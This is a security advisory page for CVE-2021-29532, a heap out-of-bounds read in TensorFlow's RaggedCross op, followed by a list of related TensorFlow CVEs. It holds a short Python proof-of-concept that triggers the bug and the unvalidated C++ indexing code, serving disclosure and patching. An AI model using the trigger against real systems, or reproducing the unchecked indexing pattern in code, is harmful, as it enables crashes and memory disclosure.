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Low

Heap out of bounds read in `RaggedCross`

  • Disclosed: 14.05.2021
  • Updated: 11.10.2026 13:19

Impact

An attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to tf.raw_ops.RaggedCross:

python
import tensorflow as tf

ragged_values = []
ragged_row_splits = [] 
sparse_indices = []
sparse_values = []
sparse_shape = []

dense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64)
dense_inputs = [dense_inputs_elem]

input_order = "R"
hashed_output = False
num_buckets = 0
hash_key = 0 

tf.raw_ops.RaggedCross(ragged_values=ragged_values,
    ragged_row_splits=ragged_row_splits,
    sparse_indices=sparse_indices,
    sparse_values=sparse_values,
    sparse_shape=sparse_shape,
    dense_inputs=dense_inputs,
    input_order=input_order,
    hashed_output=hashed_output,
    num_buckets=num_buckets,
    hash_key=hash_key,
    out_values_type=tf.int64,
    out_row_splits_type=tf.int64)

This is because the implementation lacks validation for the user supplied arguments:

cc
int next_ragged = 0;
int next_sparse = 0;
int next_dense = 0;
for (char c : input_order_) {
  if (c == 'R') {
    TF_RETURN_IF_ERROR(BuildRaggedFeatureReader(
        ragged_values_list[next_ragged], ragged_splits_list[next_ragged],
        features));
    next_ragged++;
  } else if (c == 'S') {
    TF_RETURN_IF_ERROR(BuildSparseFeatureReader(
        sparse_indices_list[next_sparse], sparse_values_list[next_sparse],
        batch_size, features));
    next_sparse++;
  } else if (c == 'D') {
    TF_RETURN_IF_ERROR(
        BuildDenseFeatureReader(dense_list[next_dense++], features));
  }
  ...
}

Each of the above branches call a helper function after accessing array elements via a *_list[next_*] pattern, followed by incrementing the next_* index. However, as there is no validation that the next_* values are in the valid range for the corresponding *_list arrays, this results in heap OOB reads.

Patches

We have patched the issue in GitHub commit 44b7f486c0143f68b56c34e2d01e146ee445134a.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) tensorflow < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2
Python (PyPI) tensorflow-cpu < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2
Python (PyPI) tensorflow-gpu < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2

References

CVSS score 2.5/10
CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Weakness (CWE)
CWE-125
Platform
Python (PyPI)
Package
tensorflow, tensorflow-cpu, tensorflow-gpu
Disclosed
14.05.2021
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2021-169 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-460 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-658 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-j47f-4232-hvv8 - CC BY 4.0

Vulnerability history: tensorflow-gpu

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (427) in the archive
Total entries
427
First → latest
04.2019 07.2024
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 6
  • High 109
  • Medium 207
  • Low 105

Disclosures per year

Severity:
  1. Heap out of bounds read in `RaggedCross` this entry
    Low · 2.5 CVE-2021-29532 < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2
  2. TensorFlow has segfault in array_ops.upper_bound
    High · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  3. TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch
    High · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  4. TensorFlow vulnerable to seg fault in `tf.raw_ops.Print`
    High · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  5. TensorFlow vulnerable to integer overflow in EditDistance
    High · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  6. TensorFlow has Null Pointer Error in TensorArrayConcatV2
    High · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  7. TensorFlow has Null Pointer Error in SparseSparseMaximum
    High · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  8. TensorFlow has Floating Point Exception in AudioSpectrogram
    High · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  9. TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation
    Critical · 9.8 CVE-2023-25668 < 2.11.1 2.11.1
  10. TensorFlow has Floating Point Exception in AvgPoolGrad with XLA
    High · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  11. TensorFlow has Null Pointer Error in QuantizedMatMulWithBiasAndDequantize
    High · 7.5 CVE-2023-25670 < 2.11.1 2.11.1
  12. TensorFlow has Null Pointer Error in LookupTableImportV2
    High · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  13. TensorFlow has Floating Point Exception in TensorListSplit with XLA
    High · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  14. TensorFlow has Null Pointer Error in RandomShuffle with XLA enable
    High · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  15. TensorFlow has Segfault in Bincount with XLA
    High · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  16. TensorFlow has null dereference on ParallelConcat with XLA
    High · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  17. TensorFlow has double free in Fractional(Max/Avg)Pool
    High · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  18. TensorFlow has Floating Point Exception in TFLite in conv kernel
    High · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  19. TensorFlow vulnerable to Out-of-Bounds Read in GRUBlockCellGrad
    High · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
  20. Out of bounds write in grappler in Tensorflow
    High · 7.1 CVE-2022-41902 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  21. FractionalMaxPool and FractionalAVGPool heap out-of-bounds acess
    High · 7.1 CVE-2022-41900 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
Show more (20) Showing 21 of 116

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